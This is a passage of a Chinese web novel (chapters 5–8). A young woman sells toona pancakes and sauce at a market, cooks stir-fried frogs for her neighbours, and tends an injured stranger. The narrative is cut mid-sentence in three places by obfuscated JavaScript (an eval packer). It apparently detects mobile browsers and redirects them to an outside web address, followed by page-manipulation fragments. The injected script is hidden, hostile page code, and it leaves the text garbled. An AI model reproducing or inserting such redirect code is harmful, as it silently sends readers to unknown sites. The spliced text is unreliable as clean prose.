小桃见今天是没得吃了，不过好在还有希望能吃到，于是开心地边往厨房跑边说道：“娘，我去烧火做饭。” “这哪像个姑娘，跟个皮猴子似的。”桂花婶看着蹦跳着窜进厨房的小桃，叹气道。 “我看小桃就很不错，又能干性格又好，我要是有这样一个女儿就好了。”张婶没有女儿，眼里满是羡慕。 “你喜欢啊，那送你做女儿得了，我巴不得赶紧把她送走。”桂花婶一脸嫌弃地说道。 九婆婆开口了：“桂花啊，你别嘴硬，你哪里舍得这闺女，我们一路从西边讨饭过来，多少次都快饿死了，你都不肯把小桃卖给大户人家做丫鬟，硬是撑着来到了这里，还好朝廷不亏待咱们这些流民，总算是安了家有口饭吃。” 顾宛央不由地看向桂花婶，只见桂花婶皱着眉头辩解：“我哪里不肯了，那得有人买才行啊，这丫头皮猴子样子，谁敢要她。” 九婆婆摇头笑着对张婶和顾宛央说道：“嘴硬。” “我去厨房看看，一眼不看，这丫头估计能把厨房烧了。”桂花婶说完，转身就进了厨房。 顾宛央能看出来桂花婶是刀子嘴豆腐心，自己的女儿自己疼没毛病，顾宛央在现代母亲去世的早，而原主的父母也去世的早，她内心深处渴望的母爱被唤醒，心里不由地羡慕起小桃来。 5. 第 5 章 第二天一大早，天还没亮，顾宛央就起来了，今天是第一天出去摆摊，希望能开个好头，那样的话生计就不用愁了。 为了保持剩余香椿的新鲜，顾宛央昨天晚上临睡前将香椿放在了室外，夜里气温很低，所以放了一夜的香椿芽依旧新鲜，叶片上还带着些许露珠，看上去水灵灵的。 把香椿洗干净后焯水切成碎末放进盆中，接着把昨天买的面粉也倒了进去，再往里面打入四个鸡蛋，加入盐和一些清水后开始搅拌，直至变成糊状。 食材备好后，顾宛央开始起锅烧油，油不用太多，锅底倒入少许抹开即可，舀起一勺面糊放入锅中，慢慢地晃动铁锅让面糊变得均匀，形成圆饼状。 锅中的面糊渐渐成形，随之而来的是香椿鸡蛋和面粉三者相融合的香气，香椿经过油温的煎炸，清香气味愈发浓烈，顾宛央深吸了一口气，好香！突然昨天晚上那个年轻人嫌弃的表情闯入脑中，顾宛央不禁摇头叹气，现在也顾不得他了，等会桂花婶和张婶起来，应该会煮点粥给他喝。 顾宛央将面饼翻了一面继续煎，已经煎好的那一面颜色金黄看着就非常诱人，等到两面都煎的金黄焦香，便可以盛出来了。 再用刀将圆饼切成三角形的块状，这样子方便食用，顾宛央忍不住拿起一块咬了一口，又香又脆，火候掌握地刚刚好，裹在面粉和鸡蛋液里的香椿，依旧香味浓烈口感脆嫩。 顾宛央加快了煎饼的速度，这么好吃的香椿饼，希望喜欢的人多一些。 等到天蒙蒙亮的时候，顾宛央已经把所有的香椿饼都煎好了，切好装好后开始收拾东西。 顾宛央把厨房角落里一个小泥炉子捡了起来，这还是刚落脚的时候，还没有灶台，朝廷一家发了一个小泥炉子凑合用的。 再捡了一点柴火，连同小泥炉子一起装进了背篓底部，再隔上一块木板，把昨天腌制好的香椿酱和今天早上刚刚煎好的香椿饼放了进去。 顾宛央掂了掂背篓，有点重，不过对于平时爱好拳击和健身的她来说可以承受，原主的这具身体也不娇弱，她双手把背篓提起，轻松地上了肩。 踩着清晨残余的月光，顾宛央出了门，往城西市集走去。 天空渐渐泛白，顾宛央虽然衣着单薄，但这半个时辰走下来，额头也渗出一层细汗，每天这样走两个小时也是个不错的锻炼呢，顾宛央自我安慰地想着。 西城门已经打开，住在城外的早起摆摊的小商小贩也陆陆续续进了城，顾宛央跟在进城的人群中，加快脚步往昨天已经打探好的地方走去。 顾宛央选择摆摊的地方是在一个交叉的十字路口，还好她来的算早，这一块地方已经有不少小摊贩在摆摊了，果然好地方是靠抢的。 为了让街道干净整齐，县衙在路边摆放了一排排的货架，规定摆摊必须放在货架上面，不允许胡乱摆放，这倒是给顾宛央提供了很大的方便，她把小泥炉放置在货架上，只点了一根柴火后就把装在小锅中的香椿饼放上去保温，天气寒凉，热的饼肯定要比凉的好吃，这也是顾宛央为什么要背着这么重的小泥炉的原因。 把香椿饼热上后，顾宛央继续把香椿酱拿出来摆放在货架上，她的货架上只有两样东西，比起旁边的小摊来，东西少的可怜。 “姑娘，以前从来没见过你吗，新来的？”旁边一位摆摊的大娘问道。 顾宛央转头，见这位大娘的货架上摆满了新鲜蔬菜，于是笑着答道：“是啊，今天第一次来这里摆摊。” 顾宛央本就生的标致，鹅蛋脸上一双杏眼眼神清澈明亮，刚才那一笑让大娘呆了呆，她打量了一下顾宛央，见她衣着虽然单薄破旧，但仍掩饰不住身上优雅从容的气质，不由地开口道：“姑娘家的怎么也来摆摊。” “大娘为什么来摆摊，我自然就为了什么。”顾宛央也不以为意，笑着答道。 “咳，看我这嘴，怎么问出这种问题。”大娘回过神来说道：“出来摆摊自然是为了生计。” 顾宛央含笑不语，从背篓里掏出两块小木牌子，分别放在香椿饼和香椿酱的前面。 “咦，这是什么？”大娘好奇地看着两块木牌子问道。 顾宛央看了看牌子上的字，写得挺清楚的呀，转念一想，如今这个年代并不是人人都识字，于是解释道：“这个写是香椿酱五文一勺，这个写的是香椿饼五文一块。” “香椿？是什么？”大娘问道。 “嗯，是一种蔬菜。”顾宛央想了想简单地说道。 大娘还想问什么，但她的小摊前已经有人驻足挑蔬菜了，她赶紧回过头张罗起来，这位大娘一看就是很有经验，她随手拿起一把蔬菜就夸起来，不过她挑过来的蔬菜确实又新鲜卖相又好，买菜的人没考虑多久便买了一篮子菜走了。 顾宛央虽说擅长厨艺，但却从未像这样摆摊卖吃的，她把大娘的举动看在眼里，货品好再加上会叫卖，成交的概率大大增加。 街道上的行人渐渐多起来，顾宛央的摊前有人驻足，识字的都在看小木牌子，不识字的都在问顾宛央卖的是什么。 顾宛央一边介绍一边把装着香椿饼和香椿酱的盖子打开，香椿味道浓郁，一打开盖子香味便冲了出来。 一时间，围在顾宛央摊前的人群中，有人发出惊呼：“呀，味道好香啊！” “是啊，这个香味从没闻到过呢。” “什么，香？你们没事吧，这么难闻的味道！” “就是，不好闻不好闻，走了走了。” “这两人是不是嗅觉有问题，居然说不好闻。” “小姑娘，这东西真的能吃吗？” 顾宛央见捂着鼻子离开的也就两三个人，还是喜欢的人占大多数，一颗提着的心放了下来。 只不过香椿对他们来说是新鲜事物，没人肯第一个尝试，所以顾宛央的小摊前虽然围了不少人，但还是没有开张。 顾宛央见大家不肯买，内心有些着急，她油纸包着裹起一块香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792288|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 椿饼撕成小块递出去给围观的人，说道：“大家可以先免费尝尝，如果觉得不错再买。” 免费的东西不怕没人要，果然就有人第一个伸出手拿了一小块，接着便有更多的人伸手，没一会一块香椿饼便分了出去。 有的人一口就扔进了嘴里，有的人只咬了小小一口，顾宛央仔细观察着试吃香椿饼的人的表情。 不管是大口吃的人还是小口吃的人，脸上的表情都带着惊喜，他们互相对视点头，这让顾宛央又松了一口气，虽然她知道只要是不讨厌香椿味道的人，基本都会喜欢上这个味道的，但也不排除不喜欢的。 “好吃，好吃！” “确实美味，这个叫香椿的菜裹在加了鸡蛋的饼里，脆嫩清香，比一般的鸡蛋饼好吃了很多。” “这香椿真香啊，我活了这么多年，怎么还不知道有这样一种蔬菜？” “姑娘，这香椿是你自己种的？” 顾宛央见大家赞不绝口，也笑着开口道：“不是种的，这是在山上的香椿树上采的。” “哦？居然是长在山上的，我们都不知道呢。” “哎呀，老李头你就别问了，不买的话就先让一下，姑娘，快给我来两块香椿饼。” “对对对，也给我来两块，这本来不饿的，被这口香椿饼吃的突然觉得饿了。” “我要五块饼，不不不，还是要十块。” 顾宛央手脚麻利地开始用油纸包香椿饼，听着铜板叮叮当当地落在事先准备好的盆子里，她的心情非常愉悦。 “这里怎么围了那么多人？在买什么呢？”一个洪亮的男声在外围响了起来。 “是鲁工师。” “鲁工师早啊，今天怎么到西市集来了？” 一听到鲁工师这个称呼，本来围在顾宛央摊前的人自动空出来一块地方，只见一个年约三十左右、中等身材的男人走了过来。 鲁工师看到摆摊的是个很年轻的姑娘，不由愣了一下，不过南夏朝本就民风开放，女子出来干活挣钱是常事，也就没有过多地打量顾宛央，而是被摊上的香椿饼吸引了注意力，说道：“此为何物？怎地如此香气扑鼻？” 顾宛央暗叹，果然是当官的，文绉绉的跟普通老百姓就是不一样。据她所知，工师应该就是郡县里掌管工程水利的工事小吏，鲁就是他的姓。 没等顾宛央开口，旁边早有热心的人告诉他：“鲁工师，这叫香椿饼，您尝尝，可好吃了。” “哦？香椿饼？”鲁工师抬头看向顾宛央，问道：“这可是你做的？” 顾宛央点点头答道：“正是。” “何为香椿？”鲁工师问道。 “这是一种树上的嫩芽，这树名字就叫做香椿树，正是这个季节才有的新鲜嫩芽。”顾宛央如实说道。 鲁工师似懂非懂地点头，开口说道：“给我来一块先尝尝。” “好嘞。”顾宛央脆声应道，拿起油纸包了一块香椿饼递了过去。 6. 第 6 章 鲁工师掏出五文钱放在收钱的盆里，仔细观察了一下手上的香椿饼，终于忍不住咬了一口，随着这一口香椿饼的入嘴，鲁工师的眉毛挑了起来，有些不可置信地看了又看手中的香椿饼，这味道居然这么好，怪不得围了这么多人。 “这些剩下的香椿饼，我全部都买了，给我包起来。”鲁工师指着摊上还剩下的香椿饼，说道。 “这，鲁工师，后面还有没买到的呢，全都卖给您，我怕他们也需要买呢。”顾宛央并没有马上应下来，只是看了一眼跟着鲁工师围过来的人群说道。 鲁工师听了顾宛央的话一愣，他确实没想到别人还要买，看来这姑娘对自己的香椿饼很有信心，不怕卖不掉。他刚想开口说话，旁边的人群就有人高喊： “不需要，不需要。” “对，都卖给鲁工师吧，他买那么多肯定是有道理的。” “姑娘，你明天还来这里摆摊卖香椿饼不？我们明天来买。” “是啊，我们明天买也是一样的。” 顾宛央没料到这么多人为鲁工师说话，古代百姓惧怕官员是很正常的，但这些为鲁工师说话的人，却不是因为惧怕，而是发自真心。 鲁工师转身对着众人说道：“诸位，今日是文庙修缮开工首日，故鲁某今路过这西市集，有此美味香椿饼，想带些与工匠们分享，多谢诸位谦让。” “文庙今天就要开始修啦？” “那可真是太好了，文庙确实该修了，前几日祭祀圣人的时候，有根柱子都倒了，差点砸到人。” “对对，文庙不仅祭祀圣人，现在也是准备秋闱的学子们日夜苦读之所，可不能出什么岔子。” “鲁工师，您可真是神速，这才几日，这都开始开工了。” “鲁工师心系百姓，咱们县的工事进度一向很快，不像隔壁县，桥塌了修了半年都没修好，百姓要绕很多路才能过河。” “是啊，还好咱们县有鲁工师。” 顾宛央听着百姓对鲁工师的夸赞，这才明白为何大家是真心爱戴鲁工师的。 “诸位过奖了，修筑工事本就是鲁某分内之事，在其位谋其职，负其责尽其事，这是应该的。”鲁工师听到众人的夸赞，笑眯眯地说道。 说话间，顾宛央已经将剩下的香椿饼包了起来，递给鲁工师，说道：“剩下的都在这里了，您拿好。” 鲁工师接过香椿饼，付了钱，在大家夸赞的话语中，慢慢踱着步子离开了顾宛央的小摊。 见香椿饼没的买了，有人便问顾宛央：“姑娘，你这个坛子里装的香椿酱，也是这香椿所做？” “是的。”顾宛央点头答道。 “那这香椿酱怎么个吃法？” “香椿酱用来拌面条或者下饭最为美味，也能作为调料烧菜用。”顾宛央说道。 “那你这怎么卖啊？” “这满满一大勺五文钱，只是需要自己带碗或者罐来盛。”顾宛央说道，这里也没有简易的包装盒，只能跟那些卖酱菜的小摊一样，让买家自带容器来盛了。 “我回家拿罐子。” “正好，我带了罐子想买酱菜的，来来来，给我来一大勺。” “我也有罐子，我也要买。” “姑娘，你在这里等一下啊，我家离得近，很快就来买。” 虽然大多数人没有带碗罐，但也有人带了的，顾宛央给带了罐子的人装了满满一大勺香椿酱，买到香椿酱的人闻着罐子里的香味，心满意足地离开了小摊。 顾宛央没想到昨天做的一大罐香椿酱，没多久就被回家拿罐子的人都买走了，比她预计的要快多了。 “姑娘，你不应该告诉他们在哪里摘的香椿，用不了几天，你说的这个山上的香椿肯定就被摘完了。”旁边摊子的大娘见顾宛央收拾小摊准备回家，于是凑过来好心地说道。 顾宛央正在把罐子牌子还有小泥炉收入背篓中，听到大娘的话，抬起头笑着说道：“大娘，不打紧，这本就是山上的东西，不是我自家的，就算我不说，也会被人找着的，而且香椿的季节非常短，不让人摘了也浪费了。” 大娘有些意外地看着顾宛央，点着头说道：“你这姑娘看着年纪不大，活得倒是通透。” “不过还是要谢谢大娘的提醒。”顾宛央直起身子，郑重地行了个礼说道。 “咳，这有啥好谢的，我是怕你年轻吃亏。”大娘被顾宛央谢的有些不好意思，胡乱摇着手说道。 “大娘跟我素不相识，却能出言提醒，值得这个谢字。”顾宛央笑着说完，双手将背篓一提，轻松上肩，这比来的时候轻多了。 “你这是要回家了吗？”大娘见顾宛央背起了背篓，问道。 “对，今天卖的很快，时辰还早，我回去再去山上摘些香椿，明天再来卖。”顾宛央看了看天，时间还早，本来是想卖完回家吃完午饭，下午再去摘的，没想到今天能这么早卖完。 “对，快回去吧。”大娘挥了挥手说道。 顾宛央跟大娘道了别，背着背篓出了西城门，摸着鼓鼓囊囊的钱袋子，她回家的脚步变得格外轻快。 回到家中，顾宛央把背篓的东西清出来后，又提了两个篮子，直接上了山。 大娘说的对，只怕过不了几天，这山上的香椿就不剩多少了。不过顾宛央也没有想一直卖香椿饼和香椿酱，毕竟这只是季节性的食物，靠着不用花钱的香椿可以先赚上第一笔钱，接下来就可以想想做别的东西了。 香椿多采点可以做成香椿酱，这东西可以储存的久，不怕坏，顾宛央在山上采着香椿芽，香椿树实在是太多了，她采了满满两篮子加一背篓，也还是看不出来少了多少。 大自然给予人类的馈赠实在是无私，如果能让更多的人享受到美味，也不辜负大自然的赠予。 顾宛央带着香椿返回家中，在村口碰到了小桃姐弟俩，小桃老远就挥着手跟顾宛央打招呼：“宛央姐，宛央姐！” 顾宛央正快步走着，虽然身上这些香椿对她来说不算重，但总是能早些到家为好。 “小桃？桂花婶让你回来做午饭吗？又晚了吧，小心挨骂。”顾宛央见姐弟俩衣服鞋子头发都是湿湿的，还有不少泥巴溅在身上。 “嘿嘿，今天不会挨骂，你瞧我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792289|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓到了什么？”小桃圆脸上露出兴奋的笑容，手上提着的小竹篓猛地往顾宛央面前送过来。 “呱呱呱” 顾宛央被突然映入眼帘的景象吓了一跳，只见小桃手上的竹篓里，有几只田鸡正试图逃跑。 “这，这不能吃吧。”顾宛央本能地说道。 “怎么不能吃，宛央姐你以前没吃过吗？我们在老家的时候，经常抓了吃的。”小桃说道。 顾宛央反应了一下，哦对了，这里是古代，野生田鸡还有野生动物都可以随便抓，但在现代就不行了，随便抓野生动物很可能就会进局子，只能吃养殖的田鸡牛蛙，所以顾宛央刚刚脱口而出的不能吃也是说的这个原因。 顾宛央也就没多说什么，只是点点头，认同小桃的说法。 见顾宛央点头，小桃更加兴奋，她拉着顾宛央的手说道：“好姐姐，你做饭好吃，等会我来把这东西处理好，你来烧好不好，你看我们抓了这么多呢，足够我们一起吃的了！” 顾宛央听到这话，不由咽了口口水，好久没吃到肉了啊，她开口爽快地应道：“行。” 得到顾宛央的同意，小桃开心地跳起来，拉着顾宛央一路小跑就回到了家。 小桃停都不带停一下的，立马就在厨房开始处理起田鸡来，顾宛央忙着煮饭和准备配料和其他菜，既然要跟桂花婶家一起吃饭，那准备的饭菜就得按五口人来准备，顾宛央嫌小桃在厨房碍事，便把她赶出厨房，让她到外面处理。 小桃很听话地把东西搬到了杂物间门口，搬了个凳子坐着处理，没干多久，就感觉到杂物房里有人在盯着自己，于是回头一看，果然床上的年轻人瞪大眼睛看着她手上的血淋淋的田鸡。 “宛央姐，杂物间那人醒啦！”小桃心里眼里只有田鸡，只对着厨房喊了一声，便又专心处理手上的东西。 顾宛央听见小桃的喊声，跑出来一看，杂物间的门是开着的，刚刚她都没注意，应该是早上张婶喂过他吃的，门就没关起来。 顾宛央进去一看，果然床边有个碗，应该是白粥之类好入口消化的食物。 “她，她在做什么？”年轻人的声音沙哑，好容易费力说出一句话来。 顾宛央顺着年轻人的眼神回头看了一眼，淡淡地说道：“哦，她在杀田鸡，一会中午炒着吃。” 听到这话，年轻人的俊脸便有些扭曲：“这......丑......东西，也......能吃？” 顾宛央不由多看他两眼，没吃过田鸡？那他家里条件不是一般的好哇，确实田鸡这种老百姓吃的东西，大家族以及贵族士族们是不会吃的，原主的印象中就没有过这个食物。 “好吃着呢，等会做好了给你尝尝。”顾宛央一边检查了一下他伤势一边说道，毕竟是年轻啊，恢复得不错，吃完饭请长生叔再来看一下，换些包扎的草药。 “不必，多谢。”年轻人闭上眼嫌弃地说道。 这已经是第二次嫌弃顾宛央做的食物了，顾宛央倒也不恼，说道：“那你继续喝白粥吧。” 说完，顾宛央出了杂物间的门，并贴心地把门带了起来。 7. 第 7 章 虽然小桃做饭水平一般，但处理起田鸡来，又快又干净，没多大功夫，便已经处理完了。 顾宛央也已经把田鸡的配料准备好了，田鸡肉质细嫩，最适合爆炒，所以顾宛央已经把姜蒜切末，小米椒和青椒切丝备用。 她从小米缸里拿出两个鸡蛋，准备再做个香椿最经典的做法--香椿炒鸡蛋，和小桃家里人一起吃。再从菜园子里摘两个蔬菜炒一炒，把昨天做的香椿酱也拿出来拌饭吃，这就比平日吃的要丰盛多了。 等顾宛央把准备工作做好，小桃也把火烧旺了，只等菜下锅。 这时桂花婶和九婆婆也从地里干活回来了，一看午饭还没准备好，跑到厨房门口正想骂小桃呢，小桃抢先一步对桂花婶说道：“娘，我今天抓到田鸡了，宛央姐马上就准备炒了，你跟阿奶先休息，一会就能吃饭了。” 果然，桂花婶一听有田鸡吃，火气消了一大半，毕竟能有口荤腥是很不容易的事情，也就用手指了指小桃以示数落。 桂花婶转身离开，顾宛央对小桃说：“就属你最机灵了。” 小桃对着顾宛央吐了吐舌头，说道：“还好我说的快，不然又是一顿臭骂。” 顾宛央笑着摇头，打算开始做菜，小桃也站起身子，眼神里充满了期待。 就着小桃烧起来的旺火起锅烧油，油热后，顾宛央将处理好的田鸡倒入锅中不断地煸炒，田鸡遇上热油后，香味便散发出来，小桃开始咽口水了，等到锅中的田鸡变得微微焦黄，水分也收干后便盛出备用。 接着便是将姜蒜小米椒放入锅中爆香，再把煸好田鸡往锅中一倒，田鸡与姜蒜小米辣的碰撞，激发出浓烈的香味，这比刚才的味道香上百倍。 “小桃，加柴火，我要更旺的火。”顾宛央吩咐道。 “好嘞。”小桃应了一声，立马蹲下身子加柴火。 这道菜靠的就是大火爆炒，田鸡本身肉质就很嫩，不用焖煮，所以要用大火进行快速爆炒。随着不断的翻炒，顾宛央加了些许酒和酱油，让颜色更加地诱人，然后再撒了一些盐，快速翻炒几下，便可以出锅了。 等顾宛央刚把田鸡盛出来，桂花婶便被香气吸引进了厨房，看着热气腾腾的一大碗田鸡，桂花婶忙接过来说道：“我来端，我来端。” 桂花婶将碗接了过来，只见碗中的田鸡呈现出金黄油润的色泽，再配以青色辣椒和红色小米椒的点缀，加上扑面而来的香气，多日没有吃过肉菜的桂花婶，不由狠狠咽了一口口水，赶忙将这碗爆炒田鸡端到了堂屋。 已是饥肠辘辘的桂花婶放下菜，马上返回厨房，看有没有什么可以帮忙的，希望能早点吃上饭。 厨房中，顾宛央已经在做第二道菜香椿炒鸡蛋了，蛋液包裹着香椿末加入盐后搅了又搅，直到完全融合在一起。 等到锅中油热之后，把搅拌均匀的香椿蛋液倒入锅中，蛋液与热油一触碰便发出滋滋的声音，由于旺火热油，裹着香椿末的蛋液迅速膨胀成型，并散发出诱人的香气。 “真香啊，这比单纯的炒鸡蛋香好多。”桂花婶站在灶台边，看着锅中已成型的鸡蛋说道。 “香椿的味道和鸡蛋的味道，结合在一起是绝配。”顾宛央说着话，但手中的锅铲也没停，将鸡蛋翻了个面，继续煎透。 等到煎至两面金黄后，再用锅铲将香椿鸡蛋捣成小块状盛出，桂花婶又积极地端着碗出去了。 最后再炒两个菜园子里摘的蔬菜，便可以开饭了。 堂屋和厨房都是三户人家共用的，张婶一家习惯带干粮在地里吃，所以中午是不回来吃饭的，桂花婶一家四口和顾宛央就在大桌上一起吃饭。 顾宛央把所有菜做完了，将早上张婶剩下的一点白粥放在锅中，用余火慢慢热着，等吃完饭就可以给年轻人端去吃了。桂花婶一家等着顾宛央一起上桌，这才开始动筷子。 爆炒田鸡必须是大家第一个夹的菜，五双筷子齐刷刷地伸进碗中各自夹走一块田鸡肉。 顾宛央夹到的是一块田鸡腿肉，田鸡虽然不大但腿肉却是饱满，一口咬下去，感觉到表面有些脆硬，但内里却是鲜嫩，口感形成鲜明的反差，嚼起来筋道十足，这一口吃的非常满足，顾宛央的心情雀跃起来，吃美食真的会让人愉悦。 小桃看着满满一大碗色香味俱全的爆炒田鸡，心中顿时感到非常自豪，这可是自己一个一个捉起来的，她夹起一块田鸡肉迫不及待地放进嘴里，顿时眼睛都眯了起来，田鸡肉外焦里嫩，咸鲜微辣，长久没吃过肉的味蕾一下子被打开，这也太好吃了吧，比自己和娘做的好吃百倍。 桂花婶也在暗自赞叹，宛央做的菜就是好吃，一口田鸡肉就一大口米饭，满嘴鲜香，饥肠辘辘的胃以及久未吃肉的嘴得到极大的满足。 “真好吃呀。”栓子年纪还小，在吃了一口田鸡肉后，忍不住开心地大叫，跟小桃一样的圆脸上笑得眼睛都看不见了。 “宛央，你做的这个田鸡特别好吃。”九婆婆牙口已经不是很好了，但这道菜肉嫩，她可以很放心地吃，一口肉就着一口饭下肚，九婆婆也不禁感慨地说道。 “这道菜的秘诀就是要大火爆炒，炒的时间不要久否则肉质会变老，而且先要将田鸡下锅煸炒至水分干透，然后再爆香姜蒜小米辣一起炒，其实也没什么复杂的。”顾宛央笑着说道。 “对对对，宛央姐刚刚在厨房炒这道菜，好家伙，欻欻几下子就炒好了。”小桃说道。 “怪不得好吃呢，我们以前都是直接下锅炒，而且炒的时间比较长，所以肉就没这么嫩。”桂花婶恍然道。 田鸡不能久煮，煮时间越长肉质就会变得越老，所以这道菜才要爆炒。 “鸡蛋也很好吃呀！”栓子可不管菜是怎么做的，他只管吃，吃到香椿炒鸡蛋，他又忍不住开心地叫起来。 “这是宛央姐做的香椿炒鸡蛋，肯定好吃啊。”小桃说道。 栓子突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792290|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转过头，很认真地对顾宛央说道：“宛央姐，我以后都要吃你做的饭。” 顾宛央有些愕然，还没反应过来怎么回答，桂花婶就一个毛栗子就敲到栓子的头上，说道：“你想什么呢，做饭很辛苦的，以后你可以跟宛央姐学做饭，自己做着吃，还可以做给我们吃！” “哎哟，娘，好疼！”栓子结结实实挨了一个毛栗子，捂着脑袋说道。 “就是，栓子，明天你做饭吧，正好我可以歇歇。”小桃趁机说道。 桂花婶听了小桃的话，一个眼刀扫过去，说道：“你别想偷懒，这是一时半会能学成的吗，你弟弟现在才跟灶台一般高，锅都够不着，怎么做饭。” 小桃不以为意，耸耸肩膀，夹了一筷子香椿炒鸡蛋扔进嘴里，顿时脸上露出心满意足的表情，脆脆的香椿末和松软的鸡蛋完美地结合在一起，吃上去又香又鲜又脆又酥，口感十分的丰富。 顾宛央舀了一勺香椿酱放到米饭上面，经过了一晚上的发酵，红色的辣椒面已经与油充分融合，呈现出红油的颜色，使得香椿酱的颜色漂亮了许多。 顾宛央用筷子将香椿酱和米饭搅拌在一起，美美地吃上一口，顿时觉得鲜得眉毛都要掉下来了，做成香椿酱后，春天的鲜美可以存储起来，慢慢享用。 小桃学着顾宛央的样子，也用香椿酱和米饭拌在一起，尝过后忍不住一口接着一口地吃着饭，连菜都顾不上吃。 “小桃，你慢点吃，又没人跟你抢。”九婆婆见腮帮子鼓鼓的小桃，忍不住开口说道。 “你这丫头，光扒饭吃做什么，吃菜啊。”桂花婶说道。 “娘，阿奶，你们把香椿酱拌饭吃试试，可好吃了。”小桃把嘴里的饭咽下去，极力推荐道。 桂花婶疑惑地舀了一勺香椿酱到饭上，这酱还能有肉和鸡蛋好吃吗？不过，等她吃过一口之后，便不这么想了，怪不得这丫头一直在吃饭，这个香椿酱简直是太下饭了。 “好吃，真好吃啊。”桂花婶忍不住感叹道。 “那多吃点，我刚刚又去摘了不少，下午继续腌制，多留点在家里，你们吃饭吃面的时候拌一拌，好吃很多。”顾宛央笑着说道，看着大家这么喜欢吃自己做的菜，心里的满足感油然而生。 “小桃，等会吃好饭，你跟栓子先去多摘点香椿回来，以后你俩就负责去摘香椿，让你们宛央姐专心制作就行了。”桂花婶吩咐道。 “没问题，包在我身上。”小桃拍着胸脯说道。 栓子也立马应着：“好嘞。” “那就谢谢你俩啦。”顾宛央也没有客气，有人帮着采摘，能省不少力气。 “宛央姐，不用谢我们，我可喜欢摘野菜捉野味了。”小桃嘿嘿一笑说道，接着又大大扒了一口米饭，满脸满足的神色。 五个人的胃口实在好，中午做的饭菜全部都吃光了，桂花婶抢着去洗碗收拾，顾宛央想着锅里的白粥应该热好了，也该去送饭了。 8. 第 8 章 杂物间的年轻人一看顾宛央端着碗进门，嫌弃地把头偏向一边说道：“不......吃......丑东西。” 顾宛央一愣，难道他觉得是给他端了田鸡吃吗？这点田鸡他们还不够吃的，既然他不喜欢，干嘛要给他吃，顾宛央气笑了，说道：“你想吃也没有了，这是白粥。” 说完，她把白粥往他床边的桌上一放，扭头便走了出来。 “宛央，这年轻人已经可以自己吃饭了？早上我还看到张家媳妇在喂他呢。”九婆婆在杂物间门口见顾宛央放下白粥就走，便随口问了一句。 顾宛央气鼓鼓地说道：“不清楚，他饿了自然会想办法吃的。” 九婆婆看着床上挣扎着想起来却又徒劳的年轻人，再看看顾宛央气呼呼离去的背影，摇着头走了进去，好心地给他喂起白粥来。 “年轻人，宛央脾气性格模样都很好，定是你惹到她了。”九婆婆一边喂粥一边也不闲着，唠叨起来。 “没......有。”年轻人摇头否认。 九婆婆才不管年轻人说什么，她也不是来跟他辩论的，依旧自顾自地说着：“要不是她拿主意说要把你救进来，我们还真不敢做这个决定。” “你别看她长得柔弱，却是个有主见的，她一个人能从南边走到京都附近，可不是一般的普通女子。” 九婆婆一口接着一口地喂粥，年轻人忙着喝粥，来不及开口说话，索性就静静地边吃边听着。 “宛央聪明能干，做饭很好吃，力气也不小，看着像千金小姐般的模样，倒是个能干活的。” “很......好......吃吗？”年轻人还是忍不住开了口。 “当然好吃，等你身体恢复了，尝尝就知道了。”九婆婆看着碗中的白粥，说道。 “不......用了，我......恢复一些，明......日便......要离开，咳咳咳。”年轻人连连摇头，喘着气急急说道，说完又是一阵剧烈咳嗽。 “哎，你别急啊，你刚刚苏醒过来，身子虚弱，别说话了。”九婆婆忙放下手中的碗，给他轻轻拍着后背，让他缓一缓。 咳过之后，年轻人老实了，不说话了，喝完粥后又翻身睡了过去。 “睡吧睡吧，多睡觉恢复体力。”九婆婆帮他盖好被子，拿着碗就出来了。 九婆婆走出来看到顾宛央正在清洗摘回来的香椿，一边去把碗洗了一边说道：“我们中午回来的时候，正好碰到长生回村，我喊他下午来看看这年轻人的伤势，宛央你下午在家的吧？” “嗯，我在家，下午得把这些香椿做成酱，明早拿去市集卖。”顾宛央点头应道。 “好，那你给长生开门。”九婆婆交待道。 “他现在情况怎么样？”顾宛央点头，想了一下又问道，等会长生叔来了问起来，也好应对几句。 “感觉恢复的还不错，就是太虚弱了，说不了几句话就喘得厉害。”九婆婆说道。 “嗯，我知道了。”顾宛央心里有底了。 今天摘的香椿不少，顾宛央花了好长时间，才把香椿酱全部做完，还留了一些香椿明天早上做香椿饼。 顾宛央见桂花婶一家都爱吃香椿酱，便留了两坛放在厨房，这个酱对于没什么菜的人家来说非常实用，一坨酱就能干下去一碗饭。还有张婶跟两个儿子应该也是喜欢这个酱的，昨天他们对香椿的味道很喜欢。 小桃说明天开始她就负责去山上采香椿，顾宛央打算趁着香椿还没下市还没被人采完，要多做一些香椿酱存着。 等香椿酱全部做完，郎中长生还没来，顾宛央直起身子一边活动筋骨一边走回自己的屋子。 